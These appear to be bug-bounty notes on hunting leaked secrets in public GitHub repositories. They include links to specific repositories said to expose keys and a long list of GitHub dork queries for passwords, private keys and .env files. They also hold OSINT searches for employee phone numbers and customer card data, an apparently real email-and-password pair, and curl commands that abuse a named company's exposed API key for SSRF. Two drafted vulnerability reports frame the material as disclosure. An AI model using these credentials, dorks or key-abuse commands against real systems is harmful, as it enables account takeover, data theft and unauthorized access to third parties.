Github-Rcon-Exploit
Github-Rcon-Exploit
Manual
Platform : Github
Notes:
1. First exploit then report
2. Don't make hurry
3. You will find multiple keys , tokens , data etc but wait for exploit lecture
4. Not every key or token you can exploit
https://github.com/jestboniface/IAU/blob/2f70378148df47a66f7dee1403f1ddedd5878670/
india%20(2).sql
https://github.com/lawithers001/WebScraping-Mongo/blob/
ebf9ae0d0dbdd4c4da230c460c28d85df837182c/mission_to_mars.ipynb
https://github.com/Thoma997/SDG-BERT/blob/
17903018b531a405002eaafb6f5cd90a7995dad7/settings.py
https://github.com/bethanysciences/Nokia-FHIR/blob/
7156392e8c7a6ae36fd292172eaaf5921aaeb510/nokia.md
https://github.com/walmartlabs/cookie-cutter/blob/
26503dc45c1187252b20358915dc14326db476a8/packages/azure/setup_env_vars_locally.sh
https://github.com/bethanysciences/Nokia-FHIR/blob/
7156392e8c7a6ae36fd292172eaaf5921aaeb510/nokia.md
https://github.com/electronicarts/ava-capture/blob/
5971809b04285804604938856996214b91bc50ce/website-backend/ava/ava/
dev_secure_settings.py
https://github.com/vinaykushwaha1985/setu/blob/
dd092fa195d9b26d69b7d4dfb08af42644e20eff/setu/src/main/resources/
application.properties
https://github.com/IBM/cloud-pak-deployer/blob/
11cda5eb204bb1a40332de78c0770a7dee5b156f/automation-roles/50-install-cloud-pak/
cp4waiops/cp4waiops-ai-manager-demo-content/tasks/45_aimanager-create-aiops-
application.yaml
https://github.com/electronicarts/ava-capture/blob/
5971809b04285804604938856996214b91bc50ce/website-backend/ava/ava/
dev_secure_settings.py
Recon
nokia
https://github.com/bethanysciences/Nokia-FHIR/blob/
7156392e8c7a6ae36fd292172eaaf5921aaeb510/nokia.md
Dorks
dotfiles
filename:sftp-config.json password
filename:.s3cfg
filename:config.php dbpasswd
filename:.bashrc password
filename:.esmtprc password
filename:.netrc password
filename:_netrc password
filename:.env MAIL_HOST=smtp.gmail.com
filename:prod.exs NOT prod.secret.exs
filename:.npmrc _auth
filename:WebServers.xml
filename:sftp-config.json
filename:.esmtprc password
filename:passwd path:etc
filename:prod.secret.exs
filename:sftp-config.json
filename:proftpdpasswd
filename:travis.yml
filename:vim_settings.xml
filename:sftp.json path:.vscode
filename:secrets.yml password
extension:sql mysql dump
extension:sql mysql dump
extension:sql mysql dump password
extension:pem private
extension:ppk private
api_key
“api keys”
authorization_bearer:
oauth
auth
authentication
client_secret
api_token:
“api token”
client_id
password
user_password
user_pass
passcode
client_secret
secret
password hash
OTP
user auth
remove password
root
admin
log
trash
token
FTP_PORT
FTP_PASSWORD
DB_DATABASE=
DB_HOST=
DB_PORT=
DB_PASSWORD=
DB_PW=
DB_USER=
number
ORG
samsung github
nokia github
zomato github
tesla github
https://github.com/bethanysciences/Nokia-FHIR/blob/
7156392e8c7a6ae36fd292172eaaf5921aaeb510/nokia.md
https://github.com/Capricorn397/Dissertation-iOS/blob/
d8a516c3da429877067aed6719006bad1cbd2f84/Dissertation_1/AirshipConfig.plist
https://github.com/ydgros/ydgros.github.io/blob/
206fc7cdc6fc94859fdd5c75f9920966e5ec70e7/post/gong-zuo-liu-yong-dao-de-ruan-jian/
index.html
https://github.com/Shopify/goluago/blob/fe0528d0b2041b5122b8c170dfad8a5dc86516fb/
tst/crypto/aes/aes_test.lua
https://raw.githubusercontent.com/Shopify/storefront-api-learning-kit/
6f72f84fd4afce07f0113294f9912918df4de607/builds/storefront-api-learning-kit-
insomnia.json
https://github.com/electronicarts/ava-capture/blob/
5971809b04285804604938856996214b91bc50ce/website-backend/ava/ava/
dev_secure_settings.py
"dell.com" @dell.com
"@mastercard.com"
"mastercard.com" phone number
"mastercard.com" PH NO
"mastercard.com" ID
Verfication
Truecaller
Email Verifires
OSINT
gojek.com
Impact:
1. Personal Reputation
2. Company Reputation
3. IPO / Shares : Affect on market
4. Client Reduction
5. Finance
moehassan6832@gmail.com 3Wt4SikdHdQvXMr
login www.netflix.com 0 https://www.netflix.com/signup/regform
moehassan6832@gmail.com 3Wt4SikdHdQvXMr
GDPR
Hello team,
Aditya here , found a security issue in one of your domain . Please look into it
Description:
The application does not properly prevent sensitive system-level information from
being accessed by unauthorized actors who do not have the same level of access to
the underlying system as the application does. .sql file is accessible to public
disclosing information non-authorized people
Steps:
1. Google query : site:uu.nl ext:sql | ext:dbf | ext:mdb
2. First URL : https://git.science.uu.nl/arjan/wt-p3/-/blob/master/init.sql
3. Scroll down or search for "password"
Impact:
1. Able to access information like id, login, password, firstname, last name, email
2. Visible product catalogue id, price, name, description, category, counter,
manufacturer, seller
Attacker can use this information for sell, use , deactivate user account ,
phishing etc
POC:
image.png
Dorking
Walmart :
ST no
Ph no
CC detail
POstal Code
Postal Address
zomato users
swiggy users
uber users
=======================================================
Exploits
BASE URL
"filepicker_conversion_url":"https://
process.fs.grailed.com","filepicker_key":"AJdAgnqCST4iPtnUxiGtTz"
curl -X POST \
-d
url="https://upload.wikimedia.org/wikipedia/commons/thumb/4/47/PNG_transparency_dem
onstration_1.png/420px-PNG_transparency_demonstration_1.png" \
"https://process.fs.grailed.com/api/store/S3?key=AJdAgnqCST4iPtnUxiGtTz"
google query:
token : E4gg1bkY8HgPXVFuqOeQMXppxgdfJglTkYaez4tLVUnVBeRsgTpVBK9ngxGdqp7
curl -X POST \
-d url="https://events.eurid.eu/media/upload/tedex_2012-2790.jpg" \
"https://process.fs.grailed.com/api/store/S3?key=AJdAgnqCST4iPtnUxiGtTz"
API key exploit led to Blind SSRF, EXIF issue , Third party image upload
Hi team,
There are a lot of things that hackers can do with a developer’s cloud
credentials: spin up hundreds of servers, take down servers, “redistribute” DNS and
load balancers, and much more. Accidental public exposure of credentials such as
API keys, OAuth tokens, and app secrets is a mistake that can be made by both
inexperienced and seasoned developers, particularly when it comes to source
control. Right now there are thousands of exposed API keys on GitHub that can be
found in just minutes using GitHub code search; these can be found in seconds by
bots.
Consider Your Data Compromised When You ro any Push a Commit
When it comes to accidental exposure of API keys and other sensitive data on
GitHub, GitHub states very clearly on the advanced Git help page that “once you
have pushed a commit to GitHub, you should consider any data it contains to be
compromised. If you committed a password, change it! If you committed a key,
generate a new one.” GitHub provides detailed instructions on how to purge a file
from a GitHub repository’s history
Exploit:
399720f6f904f106e162cd2bd0011a6f